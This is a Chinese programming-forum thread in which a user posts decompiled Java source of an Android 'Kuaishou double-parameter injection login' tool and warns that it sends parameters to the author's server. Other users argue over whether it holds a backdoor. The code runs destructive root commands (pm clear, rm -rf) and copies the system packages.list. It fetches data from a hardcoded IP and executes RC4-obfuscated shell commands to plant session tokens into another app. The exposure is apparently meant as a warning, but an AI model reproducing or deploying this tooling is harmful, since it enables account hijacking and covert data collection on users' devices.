开启辅助访问 切换到宽版

精易论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

用微信号发送消息登录论坛

新人指南 邀请好友注册 - 我关注人的新帖 教你赚取精币 - 每日签到


求职/招聘- 论坛接单- 开发者大厅

论坛版规 总版规 - 建议/投诉 - 应聘版主 - 精华帖总集 积分说明 - 禁言标准 - 有奖举报

查看: 1082|回复: 10
收起左侧

[已答复] 原创软件【某手登录器】

[复制链接]
结帖率:100% (5/5)
发表于 2023-9-5 16:10:02 | 显示全部楼层 |阅读模式   福建省莆田市
[安卓软件] 快手双参植入登录器apk 1.1
https://bbs.125.la/forum.php?mod=viewthread&tid=14793728
(出处: 精易论坛)

{:7_432:} 发送参数到他服务器

//
// Decompiled by Jadx - 1083ms
//
package com.mobile.kssczr;

import com.e4a.runtime.Objects;
import com.e4a.runtime.Root权限操作;
import com.e4a.runtime.annotations.SimpleDataElement;
import com.e4a.runtime.annotations.SimpleObject;
import com.e4a.runtime.components.impl.android.n1.按钮;
import com.e4a.runtime.components.impl.android.n1.按钮Impl;
import com.e4a.runtime.components.impl.android.n12.时钟;
import com.e4a.runtime.components.impl.android.n12.时钟Impl;
import com.e4a.runtime.components.impl.android.n2.编辑框;
import com.e4a.runtime.components.impl.android.n2.编辑框Impl;
import com.e4a.runtime.components.impl.android.n21.下拉列表框;
import com.e4a.runtime.components.impl.android.n21.下拉列表框Impl;
import com.e4a.runtime.components.impl.android.权限操作类库.权限操作;
import com.e4a.runtime.components.impl.android.权限操作类库.权限操作Impl;
import com.e4a.runtime.components.impl.android.窗口Impl;
import com.e4a.runtime.components.窗口;
import com.e4a.runtime.events.EventDispatcher;
import com.e4a.runtime.parameters.BooleanReferenceParameter;
import com.e4a.runtime.variants.ArrayVariant;
import com.e4a.runtime.variants.ByteVariant;
import com.e4a.runtime.variants.DoubleVariant;
import com.e4a.runtime.variants.IntegerVariant;
import com.e4a.runtime.加密操作;
import com.e4a.runtime.存储卡类;
import com.e4a.runtime.应用操作;
import com.e4a.runtime.应用相关类;
import com.e4a.runtime.数组操作;
import com.e4a.runtime.文件操作;
import com.e4a.runtime.文本操作;
import com.e4a.runtime.算术运算;
import com.e4a.runtime.系统相关类;
import com.e4a.runtime.网络操作;

@SimpleObject
public class 主窗口 extends 窗口Impl {
@SimpleDataElement
public static 窗口 主窗口;
@SimpleDataElement
public 下拉列表框 下拉列表框1;
@SimpleDataElement
public int 位置;
@SimpleDataElement
public 按钮 按钮1;
@SimpleDataElement
public 按钮 按钮2;
@SimpleDataElement
public 时钟 时钟1;
@SimpleDataElement
public 权限操作 权限操作1;
@SimpleDataElement
public 编辑框 编辑框1;
@SimpleDataElement
public String userId = "";
@SimpleDataElement
public String 原始文本 = "";
@SimpleDataElement
public String token = "";
@SimpleDataElement
public String ud = "";
@SimpleDataElement
public String salt = "";
@SimpleDataElement
public String 公告 = "";
@SimpleDataElement
public String 双参数据 = "";

public 主窗口() {
    Objects.initializeProperties(this);
    $define();
}

public void $define() {
    窗口 r1 = (窗口) this;
    主窗口 = r1;
    r1.标题("E4A");
    主窗口.背景颜色(-2631721);
    主窗口.布局(IntegerVariant.getIntegerVariant(4));
    主窗口.显示方式(1);
    主窗口.可否滚动(false);
    编辑框 r12 = new 编辑框Impl(主窗口);
    Objects.initializeProperties(r12);
    编辑框 r13 = r12;
    this.编辑框1 = r13;
    r13.左边((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.025d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
    this.编辑框1.顶边((int) 算术运算.取整(ByteVariant.getByteVariant((byte) 0).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
    this.编辑框1.宽度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.95d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
    this.编辑框1.高度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.879d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
    this.编辑框1.内容("需要root权限才能正常使用\n\n\n作者Qq:5551480 要定制软件的联系我");
    this.编辑框1.字体颜色(-16777216);
    this.编辑框1.粗体(false);
    this.编辑框1.斜体(false);
    this.编辑框1.字体大小(9.0f);
    this.编辑框1.可用(true);
    this.编辑框1.输入方式(4);
    this.编辑框1.对齐方式(3);
    this.编辑框1.可停留焦点(true);
    this.编辑框1.背景图片("");
    this.编辑框1.透明度(0);
    this.编辑框1.可视(true);
    权限操作 r14 = new 权限操作Impl(主窗口);
    Objects.initializeProperties(r14);
    this.权限操作1 = r14;
    按钮 r15 = new 按钮Impl(主窗口);
    Objects.initializeProperties(r15);
    按钮 r16 = r15;
    this.按钮1 = r16;
    r16.左边((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.475d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
    this.按钮1.顶边((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.932d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
    this.按钮1.宽度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.525d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
    this.按钮1.高度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.07d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
    this.按钮1.标题("开始植入");
    this.按钮1.字体颜色(-8355712);
    this.按钮1.粗体(false);
    this.按钮1.斜体(false);
    this.按钮1.对齐方式(7);
    this.按钮1.字体大小(9.0f);
    this.按钮1.图片("");
    this.按钮1.按下图片("");
    this.按钮1.弹起图片("");
    this.按钮1.可用(false);
    this.按钮1.透明度(255);
    this.按钮1.可视(true);
    下拉列表框 r17 = new 下拉列表框Impl(主窗口);
    Objects.initializeProperties(r17);
    下拉列表框 r18 = r17;
    this.下拉列表框1 = r18;
    r18.左边((int) 算术运算.取整(ByteVariant.getByteVariant((byte) 0).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
    this.下拉列表框1.顶边((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.877d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
    this.下拉列表框1.宽度((int) 算术运算.取整(ByteVariant.getByteVariant((byte) 1).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
    this.下拉列表框1.高度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.053d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
    this.下拉列表框1.可视(true);
    时钟 r19 = new 时钟Impl(主窗口);
    Objects.initializeProperties(r19);
    时钟 r110 = r19;
    this.时钟1 = r110;
    r110.时钟周期(2000);
    按钮 r111 = new 按钮Impl(主窗口);
    Objects.initializeProperties(r111);
    按钮 r112 = r111;
    this.按钮2 = r112;
    r112.左边((int) 算术运算.取整(ByteVariant.getByteVariant((byte) 0).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
    this.按钮2.顶边((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.932d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
    this.按钮2.宽度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.475d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
    this.按钮2.高度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.07d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
    this.按钮2.标题("导入双参");
    this.按钮2.字体颜色(-16777216);
    this.按钮2.粗体(false);
    this.按钮2.斜体(false);
    this.按钮2.对齐方式(7);
    this.按钮2.字体大小(9.0f);
    this.按钮2.图片("");
    this.按钮2.按下图片("");
    this.按钮2.弹起图片("");
    this.按钮2.可用(true);
    this.按钮2.透明度(255);
    this.按钮2.可视(true);
    EventDispatcher.registerEvent(this, "主窗口", "按下某键");
    EventDispatcher.registerEvent(this, "下拉列表框1", "表项被选择");
    EventDispatcher.registerEvent(this, "按钮1", "被单击");
    EventDispatcher.registerEvent(this, "权限操作1", "申请完毕");
    EventDispatcher.registerEvent(this, "编辑框1", "失去焦点");
    EventDispatcher.registerEvent(this, "按钮2", "被单击");
    EventDispatcher.registerEvent(this, "主窗口", "创建完毕");
    主窗口.创建完毕();
    this.编辑框1.创建完毕();
    this.权限操作1.创建完毕();
    this.按钮1.创建完毕();
    this.下拉列表框1.创建完毕();
    this.时钟1.创建完毕();
    this.按钮2.创建完毕();
}

public void 主窗口$创建完毕() {
    if (IntegerVariant.getIntegerVariant(this.权限操作1.取系统版本号()).cmp(ByteVariant.getByteVariant((byte) 23)) >= 0) {
        this.权限操作1.申请全部权限();
    }
}

public void 权限操作1$申请完毕(String[] strArr, int[] iArr) {
    String str = 网络操作.发送网络数据("http://121.41.101.101:1316", "1.1", "GBK", 2000);
    this.公告 = str;
    String str2 = 加密操作.RC4解密(str, 加密操作.Authcode解密("927f0Mv6vmXVaPL0NNi1lG+j3EpRHvBXBanBOhfXwt0OkVlSpw", "11112222"));
    this.公告 = str2;
    this.编辑框1.内容(str2);
    应用操作.保存窗口("主窗口", this);
    应用操作.保存窗口("窗口1", new 窗口1());
}

public void 主窗口$按下某键(int i, BooleanReferenceParameter booleanReferenceParameter) {
    boolean z = booleanReferenceParameter.get();
    if (i == 4) {
        应用操作.返回桌面();
    }
    booleanReferenceParameter.set(z);
}

public void 按钮1$被单击() {
    if (!this.编辑框1.可视()) {
        网络操作.取网页源码("http://121.41.101.101:1315/pj", "GBK", 3000);
        应用操作.结束程序();
    }
    Root权限操作.强制结束进程("com.smile.gifmaker");
    Root权限操作.执行命令行2("pm clear com.smile.gifmaker");
    Root权限操作.执行命令行2("rm -rf /sdcard/gifshow/");
    Root权限操作.执行命令行2("rm -rf /mnt/sdcard/.packages.list");
    Root权限操作.执行命令行2("cp -f /data/system/packages.list  /mnt/sdcard/.packages.list");
    下拉列表框 r3 = this.下拉列表框1;
    String str = r3.取项目内容(r3.现行选中项());
    String str2 = 网络操作.取网页源码("http://121.41.101.101:1315/" + str, "GBK", 3000);
    this.原始文本 = str2;
    this.原始文本 = 加密操作.RC4解密(str2, 加密操作.Authcode解密("927f0Mv6vmXVaPL0NNi1lG+j3EpRHvBXBanBOhfXwt0OkVlSpw", "11112222"));
    Root权限操作.执行命令行2(加密操作.RC4解密("6608939336E8CCEC9BCE7CEC4C383D2609114C8AC899F3A31CF3A07C453D36B80E20B150A58069F204EB2063AEE3B08304B82162", 加密操作.Authcode解密("927f0Mv6vmXVaPL0NNi1lG+j3EpRHvBXBanBOhfXwt0OkVlSpw", "11112222")));
    String str3 = 加密操作.RC4解密("24049E9C37A08EEB959975E1", 加密操作.Authcode解密("927f0Mv6vmXVaPL0NNi1lG+j3EpRHvBXBanBOhfXwt0OkVlSpw", "11112222"));
    String str4 = 加密操作.RC4解密("2B4C939B30A9CEF8DA9579A25B367F6C1B0844C9CED8F9E409F3A87B45617EA2002CA25EA4AD36F309EC21", 加密操作.Authcode解密("927f0Mv6vmXVaPL0NNi1lG+j3EpRHvBXBanBOhfXwt0OkVlSpw", "11112222"));
    文件操作.写出文本文件(存储卡类.取存储卡路径() + str3, this.原始文本, "GBK");
    StringBuilder sb = new StringBuilder();
    StringBuilder sb2 = new StringBuilder();
    sb2.append("mv -f " + 存储卡类.取存储卡路径());
    sb2.append(str3);
    sb.append(sb2.toString());
    sb.append(str4);
    Root权限操作.执行命令行2(sb.toString());
    String str5 = Root权限操作.执行命令行2("dumpsys package com.smile.gifmaker | grep userId=");
    this.userId = str5;
    this.userId = 文本操作.子文本替换(str5, "userId=", "");
    String str6 = 加密操作.RC4解密("2B4C939B30A9CEF8DA9579A25B367F6C1B0844C9CED8F9E409F3A87B45617EA2002CA25EA4AD36F309EC21", 加密操作.Authcode解密("927f0Mv6vmXVaPL0NNi1lG+j3EpRHvBXBanBOhfXwt0OkVlSpw", "11112222"));
    StringBuilder sb3 = new StringBuilder();
    sb3.append("chown -R " + this.userId);
    sb3.append(str6);
    Root权限操作.执行命令行2(sb3.toString());
    系统相关类.延时(1000);
    应用相关类.启动应用("com.smile.gifmaker");
}

public void 按钮2$被单击() {
    应用操作.切换窗口(应用操作.读取窗口("窗口1"));
}

public void 导入() {
    this.下拉列表框1.清空项目();
    this.下拉列表框1.添加项目("点击这里,选择植入的双参!");
    String[] strArr = 文本操作.分割文本(this.双参数据, "\n");
    数组操作.取数组成员数(ArrayVariant.getArrayVariant(strArr));
    for (String str : strArr) {
        this.下拉列表框1.添加项目(str);
    }
    this.下拉列表框1.现行选中项(0);
}

public void 编辑框1$失去焦点() {
    if (this.公告.equals("")) {
        this.公告 = "需要root权限才能正常使用\n\n\n作者Qq:5551480 要定制软件的联系我";
    }
    this.编辑框1.内容(this.公告);
}

public void 下拉列表框1$表项被选择(int i) {
    下拉列表框 r2 = this.下拉列表框1;
    if (r2.取项目内容(r2.现行选中项()).equals("点击这里,选择植入的双参!")) {
        this.按钮1.可用(false);
        this.按钮1.字体颜色(-7829368);
        return;
    }
    this.按钮1.可用(true);
    this.按钮1.字体颜色(-16777216);
}

}

点评

看清楚,这是交给服务器处理后返回,别瞎分析   四川省内江市  发表于 2023-9-6 11:54
结帖率:100% (4/4)

签到天数: 7 天

发表于 2023-9-7 20:38:34 | 显示全部楼层   湖北省武汉市
这属于常见的防破J/核心算法放服务器的方法
回复 支持 反对

使用道具 举报

结帖率:28% (5/18)
发表于 2023-9-6 13:18:28 | 显示全部楼层   四川省内江市
本帖最后由 循环不计数 于 2023-9-6 13:28 编辑


QQ截图20230906132729.jpg

QQ截图20230906131544.jpg

我有必要偷这个参吗?

点评

我免费分享,就为打个广告,不为了偷这个参   四川省内江市  发表于 2023-9-6 13:44
回复 支持 反对

使用道具 举报

结帖率:28% (5/18)
发表于 2023-9-6 13:16:18 | 显示全部楼层   四川省内江市
这个参,我有必要偷吗?我有zc机,能批量zc,软件上也有广告(我这里卖zc机)

QQ截图20230906130944.jpg
QQ截图20230906131544.jpg
回复 支持 反对

使用道具 举报

结帖率:28% (5/18)
发表于 2023-9-6 12:47:01 | 显示全部楼层   四川省内江市
把参提交给服务器处理后生成数据,然后 返回给本地执行
QQ截图20230906124515.jpg
回复 支持 反对

使用道具 举报

结帖率:28% (5/18)
发表于 2023-9-6 12:11:22 | 显示全部楼层   四川省内江市
tankeer1 发表于 2023-9-5 22:18
有后门?  @循环不计数

上传给服务器处理生成 返回植入需要的数据
回复 支持 反对

使用道具 举报

结帖率:28% (5/18)
发表于 2023-9-6 12:11:04 | 显示全部楼层   四川省内江市
土豆不吐皮 发表于 2023-9-6 02:55
确实有,上传参数到他数据库

上传给服务器处理生成 返回植入需要的数据
回复 支持 反对

使用道具 举报

结帖率:0% (0/1)

签到天数: 4 天

发表于 2023-9-6 02:55:29 | 显示全部楼层   江苏省连云港市
确实有,上传参数到他数据库
回复 支持 反对

使用道具 举报

结帖率:100% (5/5)
发表于 2023-9-5 22:18:53 | 显示全部楼层   广东省深圳市
有后门?  @循环不计数
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则 致发广告者

发布主题 收藏帖子 返回列表

sitemap| 易语言源码| 易语言教程| 易语言论坛| 诚聘英才| 易语言模块| 手机版| 广告投放| 精易论坛
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
论坛帖子内容仅用于技术交流学习和研究的目的,严禁用于非法目的,否则造成一切后果自负!如帖子内容侵害到你的权益,请联系我们!
防范网络诈骗,远离网络犯罪 违法和不良信息举报电话0663-3422125,QQ: 800073686,邮箱:800073686@b.qq.com
Powered by Discuz! X3.4 揭阳市揭东区精易科技有限公司 ( 粤ICP备12094385号-1) 粤公网安备 44522102000125 增值电信业务经营许可证 粤B2-20192173

快速回复 返回顶部 返回列表